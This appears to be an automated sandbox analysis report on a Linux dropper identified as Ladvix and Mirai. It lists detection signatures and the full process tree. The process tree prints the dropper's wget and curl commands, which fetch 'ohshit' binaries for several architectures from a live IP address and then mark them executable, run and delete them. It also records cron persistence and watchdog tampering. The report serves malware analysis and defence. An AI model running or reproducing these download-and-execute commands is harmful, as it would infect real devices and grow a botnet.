Analysis
- max time kernel
149s - max time network
147s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260513-en - resource tags
- submitted
05/07/2026, 12:48
General
- Target 5a418f06f66325692b48c1641a04de520c6030c04d7978ce2cb2f5d453e02f1b
- Size 4KB
- Sample260705-p189macv81
- SHA256 5a418f06f66325692b48c1641a04de520c6030c04d7978ce2cb2f5d453e02f1b
Score
10/10
Malware Config
Signatures
- Family: Ladvix
Ladvix is a linux trojan and file infector first seen in 2022.
- Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
- ladvix 1 IoCs
Detects Ladvix payload
- File and Directory Permissions Modification 1 TTPs 5 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Executes dropped EXE 64 IoCs
- Modifies Watchdog functionality 1 TTPs 4 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
- Creates/modifies Cron job 1 TTPs 64 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Enumerates running processes
Discovers information about currently running processes on the system
- Writes file to system bin folder 5 IoCs
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- System Network Configuration Discovery 1 TTPs 4 IoCs
Adversaries may gather information about the network configuration of a system.
- Writes file to tmp directory 64 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/5a418f06f66325692b48c1641a04de520c6030c04d7978ce2cb2f5d453e02f1b/tmp/5a418f06f66325692b48c1641a04de520c6030c04d7978ce2cb2f5d453e02f1b1⤵
- Executes dropped EXE
-
/usr/bin/wgetwget -q "--tries=3" "--timeout=10" -O ohshit.x86 http://192.142.28.77/bachekuni/ohshit.x862⤵
-
-
/usr/bin/curlcurl -fsSL --connect-timeout 10 -o ohshit.x86 http://192.142.28.77/bachekuni/ohshit.x862⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x ohshit.x862⤵
- File and Directory Permissions Modification
-
-
/tmp/ohshit.x86./ohshit.x86 Minor2⤵
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
-
-
/bin/rmrm -f ohshit.x862⤵
-
-
/usr/bin/wgetwget -q "--tries=3" "--timeout=10" -O ohshit.mips http://192.142.28.77/bachekuni/ohshit.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
-
-
/usr/bin/curlcurl -fsSL --connect-timeout 10 -o ohshit.mips http://192.142.28.77/bachekuni/ohshit.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
-
-
/bin/chmodchmod +x ohshit.mips2⤵
- File and Directory Permissions Modification
-
-
/tmp/ohshit.mips./ohshit.mips Minor2⤵
- System Network Configuration Discovery
-
-
/bin/rmrm -f ohshit.mips2⤵
- System Network Configuration Discovery
-
-
/usr/bin/wgetwget -q "--tries=3" "--timeout=10" -O ohshit.arc http://192.142.28.77/bachekuni/ohshit.arc2⤵
-
-
/usr/bin/curlcurl -fsSL --connect-timeout 10 -o ohshit.arc http://192.142.28.77/bachekuni/ohshit.arc2⤵
-
-
/bin/chmodchmod +x ohshit.arc2⤵
- File and Directory Permissions Modification
-
-
/tmp/ohshit.arc./ohshit.arc Minor2⤵
-
-
/bin/rmrm -f ohshit.arc2⤵
-
-
/usr/bin/wgetwget -q "--tries=3" "--timeout=10" -O ohshit.i686 http://192.142.28.77/bachekuni/ohshit.i6862⤵
-
-
/usr/bin/curlcurl -fsSL --connect-timeout 10 -o ohshit.i686 http://192.142.28.77/bachekuni/ohshit.i6862⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x ohshit.i6862⤵
- File and Directory Permissions Modification
-
-
/tmp/ohshit.i686./ohshit.i686 Minor2⤵
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
-
-
/bin/rmrm -f ohshit.i6862⤵
-
-
/usr/bin/wgetwget -q "--tries=3" "--timeout=10" -O ohshit.x86_64 http://192.142.28.77/bachekuni/ohshit.x86_642⤵
-
-
/usr/bin/curlcurl -fsSL --connect-timeout 10 -o ohshit.x86_64 http://192.142.28.77/bachekuni/ohshit.x86_642⤵
-
-
/bin/chmodchmod +x ohshit.x86_642⤵
- File and Directory Permissions Modification
-
-
/tmp/ohshit.x86_64./ohshit.x86_64 Minor2⤵
- Executes dropped EXE
- Writes file to system bin folder
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileOPLSaR./ohshit.x86_64 Minor3⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/fileIfnTVh./ohshit.x86_64 Minor4⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
-
/tmp/fileW54SsF./ohshit.x86_64 Minor5⤵
- Executes dropped EXE
- Creates/modifies Cron job
-
/tmp/fileAedCCX./ohshit.x86_64 Minor6⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/fileK2Vewp./ohshit.x86_64 Minor7⤵
- Executes dropped EXE
- Creates/modifies Cron job
-
/tmp/filebuYxuE./ohshit.x86_64 Minor8⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/fileV6TCSe./ohshit.x86_64 Minor9⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/file5OGyAN./ohshit.x86_64 Minor10⤵
- Executes dropped EXE
-
/tmp/fileCXiWT9./ohshit.x86_64 Minor11⤵
- Executes dropped EXE
-
/tmp/fileMSCJaE./ohshit.x86_64 Minor12⤵
- Executes dropped EXE
- Writes file to tmp directory
-
/tmp/file6EjAH2./ohshit.x86_64 Minor13⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/filen8ZXOi./ohshit.x86_64 Minor14⤵
- Executes dropped EXE
- Creates/modifies Cron job
-
/tmp/filej5NRXH./ohshit.x86_64 Minor15⤵
- Executes dropped EXE
-
/tmp/filePJIl05./ohshit.x86_64 Minor16⤵
- Executes dropped EXE
-
/tmp/filefKTffv./ohshit.x86_64 Minor17⤵
- Executes dropped EXE
- Writes file to tmp directory
-
/tmp/file2CAPUH./ohshit.x86_64 Minor18⤵
- Executes dropped EXE
- Creates/modifies Cron job
-
/tmp/file8yhiW6./ohshit.x86_64 Minor19⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/fileywE9hv./ohshit.x86_64 Minor20⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/fileg3xTRT./ohshit.x86_64 Minor21⤵
- Executes dropped EXE
-
/tmp/filenuPew6./ohshit.x86_64 Minor22⤵
- Executes dropped EXE
-
/tmp/fileZrcEav./ohshit.x86_64 Minor23⤵
- Executes dropped EXE
-
/tmp/filetqPxNU./ohshit.x86_64 Minor24⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/file3XlUgd./ohshit.x86_64 Minor25⤵
- Executes dropped EXE
- Writes file to tmp directory
-
/tmp/fileIFX7Lr./ohshit.x86_64 Minor26⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/fileQC11KK./ohshit.x86_64 Minor27⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/fileCoIEe8./ohshit.x86_64 Minor28⤵
- Executes dropped EXE
- Writes file to tmp directory
-
/tmp/filemmrgTt./ohshit.x86_64 Minor29⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/filepEQJvD./ohshit.x86_64 Minor30⤵
- Executes dropped EXE
- Writes file to tmp directory
-
/tmp/fileBWPQM0./ohshit.x86_64 Minor31⤵
- Executes dropped EXE
- Creates/modifies Cron job
-
/tmp/filehcuLFk./ohshit.x86_64 Minor32⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/fileF9CwcG./ohshit.x86_64 Minor33⤵
- Executes dropped EXE
- Creates/modifies Cron job
-
/tmp/filePhTvm5./ohshit.x86_64 Minor34⤵
- Executes dropped EXE
- Writes file to tmp directory
-
/tmp/fileGJAN8l./ohshit.x86_64 Minor35⤵
- Executes dropped EXE
- Creates/modifies Cron job
-
/tmp/fileuKS49L./ohshit.x86_64 Minor36⤵
- Executes dropped EXE
- Writes file to tmp directory
-
/tmp/fileKT1896./ohshit.x86_64 Minor37⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/fileVXFpAm./ohshit.x86_64 Minor38⤵
- Executes dropped EXE
-
/tmp/filenJ47sG./ohshit.x86_64 Minor39⤵
- Executes dropped EXE
- Creates/modifies Cron job
-
/tmp/filep8yVOY./ohshit.x86_64 Minor40⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/filehM4jsk./ohshit.x86_64 Minor41⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/fileJBDGSG./ohshit.x86_64 Minor42⤵
- Executes dropped EXE
-
/tmp/fileapTKqR./ohshit.x86_64 Minor43⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/fileEnWeke./ohshit.x86_64 Minor44⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
-
/tmp/fileMTFzpz./ohshit.x86_64 Minor45⤵
- Executes dropped EXE
-
/tmp/filemrMR9W./ohshit.x86_64 Minor46⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
-
/tmp/fileF8Jbg7./ohshit.x86_64 Minor47⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filenndwwq./ohshit.x86_64 Minor48⤵
- Executes dropped EXE
- Writes file to tmp directory
-
/tmp/filef1DjKM./ohshit.x86_64 Minor49⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/fileZ6AYT8./ohshit.x86_64 Minor50⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/filefn5Njw./ohshit.x86_64 Minor51⤵
- Executes dropped EXE
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/file0s6HLJ./ohshit.x86_64 Minor52⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileW0lfw2./ohshit.x86_64 Minor53⤵
- Executes dropped EXE
- Creates/modifies Cron job
-
/tmp/fileGTrN9n./ohshit.x86_64 Minor54⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/fileOXbSTK./ohshit.x86_64 Minor55⤵
- Executes dropped EXE
- Writes file to tmp directory
-
/tmp/filelpI5rW./ohshit.x86_64 Minor56⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/filevVHBei./ohshit.x86_64 Minor57⤵
- Executes dropped EXE
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileXQfdfE./ohshit.x86_64 Minor58⤵
- Executes dropped EXE
- Reads runtime system information
-
/tmp/filed5x9zZ./ohshit.x86_64 Minor59⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/filevdceEm./ohshit.x86_64 Minor60⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/filekrUBVw./ohshit.x86_64 Minor61⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/fileIM0ybT./ohshit.x86_64 Minor62⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/fileeNhiTe./ohshit.x86_64 Minor63⤵
- Executes dropped EXE
- Creates/modifies Cron job
-
/tmp/file0sK3EA./ohshit.x86_64 Minor64⤵
- Executes dropped EXE
- Writes file to tmp directory
-
/tmp/file1Q4dKP./ohshit.x86_64 Minor65⤵
-
/tmp/fileBgvDqb./ohshit.x86_64 Minor66⤵
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/file95Usky./ohshit.x86_64 Minor67⤵
- Writes file to tmp directory
-
/tmp/fileBjk2mU./ohshit.x86_64 Minor68⤵
- Creates/modifies Cron job
-
/tmp/fileh68Pxd./ohshit.x86_64 Minor69⤵
- Reads runtime system information
-
/tmp/fileAxeLen./ohshit.x86_64 Minor70⤵
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileCjC1kL./ohshit.x86_64 Minor71⤵
- Creates/modifies Cron job
-
/tmp/fileOcrUW6./ohshit.x86_64 Minor72⤵
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/fileasZIKq./ohshit.x86_64 Minor73⤵
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/file3fp9EA./ohshit.x86_64 Minor74⤵
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/fileRh9du0./ohshit.x86_64 Minor75⤵
- Creates/modifies Cron job
-
/tmp/filenCVTqo./ohshit.x86_64 Minor76⤵
-
/tmp/filezTIUkN./ohshit.x86_64 Minor77⤵
- Creates/modifies Cron job
-
/tmp/fileM5nSB3./ohshit.x86_64 Minor78⤵
-
/tmp/fileGfeIar./ohshit.x86_64 Minor79⤵
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/fileg4Tu3O./ohshit.x86_64 Minor80⤵
-
/tmp/filesy6aMe./ohshit.x86_64 Minor81⤵
- Writes file to tmp directory
-
/tmp/filedOwzuv./ohshit.x86_64 Minor82⤵
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/filehCvPCT./ohshit.x86_64 Minor83⤵
- Creates/modifies Cron job
-
/tmp/filevL1tUg./ohshit.x86_64 Minor84⤵
- Creates/modifies Cron job
-
/tmp/fileb8Ww4J./ohshit.x86_64 Minor85⤵
-
/tmp/file6fMH7V./ohshit.x86_64 Minor86⤵
- Creates/modifies Cron job
-
/tmp/fileoqpHUl./ohshit.x86_64 Minor87⤵
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/fileew7GFG./ohshit.x86_64 Minor88⤵
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/file8G3HJ6./ohshit.x86_64 Minor89⤵
- Writes file to tmp directory
-
/tmp/fileT59qvj./ohshit.x86_64 Minor90⤵
-
/tmp/fileBWVfIE./ohshit.x86_64 Minor91⤵
- Creates/modifies Cron job
-
/tmp/filejOP6i5./ohshit.x86_64 Minor92⤵
-
/tmp/file5ZtzNp./ohshit.x86_64 Minor93⤵
- Writes file to tmp directory
-
/tmp/filem19eWE./ohshit.x86_64 Minor94⤵
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/fileyZ8lUX./ohshit.x86_64 Minor95⤵
- Creates/modifies Cron job
-
/tmp/fileoBQZ0g./ohshit.x86_64 Minor96⤵
- Writes file to tmp directory
-
/tmp/fileACRdnD./ohshit.x86_64 Minor97⤵
-
/tmp/filedYC1JO./ohshit.x86_64 Minor98⤵
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/filex0pQ36./ohshit.x86_64 Minor99⤵
- Writes file to tmp directory
-
/tmp/filexZ3Z7u./ohshit.x86_64 Minor100⤵
- Creates/modifies Cron job
-
/tmp/fileP8M6zN./ohshit.x86_64 Minor101⤵
- Writes file to tmp directory
-
/tmp/fileT9ztIa./ohshit.x86_64 Minor102⤵
- Creates/modifies Cron job
-
/tmp/file2KNiRl./ohshit.x86_64 Minor103⤵
- Writes file to tmp directory
-
/tmp/fileEg9lAJ./ohshit.x86_64 Minor104⤵
- Writes file to tmp directory
-
/tmp/fileA0fTU6./ohshit.x86_64 Minor105⤵
- Creates/modifies Cron job
-
/tmp/filewxB4Ez./ohshit.x86_64 Minor106⤵
- Creates/modifies Cron job
- Writes file to tmp directory
-
/tmp/filejxOD0P./ohshit.x86_64 Minor107⤵
- Creates/modifies Cron job
-
/tmp/filefU4gNe./ohshit.x86_64 Minor108⤵
- Creates/modifies Cron job
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
0
fileOPLSaR
fileOPLSaR
ohshit.x86